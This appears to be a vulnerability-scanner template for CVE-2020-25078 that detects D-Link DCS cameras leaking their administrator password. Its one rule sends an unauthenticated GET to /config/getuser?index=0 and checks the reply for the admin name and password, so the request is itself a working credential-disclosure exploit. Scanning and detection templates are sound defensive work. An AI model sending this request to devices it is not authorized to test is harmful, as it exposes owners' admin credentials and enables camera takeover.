CVE-2020-25078: DLink Account Disclosure

id: CVE-2020-25078

info:
  name: DLink Account Disclosure
  author: kzaopa
  severity: high
  description: |-
    An issue was discovered on D-Link DCS-2530L before 1.06.01 Hotfix and DCS-2670L through 2.02 devices. The unauthenticated /config/getuser endpoint allows for remote administrator password disclosure.
  reference:
    - https://www.tenable.com/security/research/tra-2020-24
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25078
  tags: cve,cve2020,dlink,disclosure
  created: 2023/06/23

rules:
  r0:
    request:
      method: GET
      path: /config/getuser?index=0
    expression: response.status == 200 && response.headers["content-type"].contains("text/plain") && response.body.bcontains(b"name=admin") && response.body.bcontains(b"pass=")
expression: r0()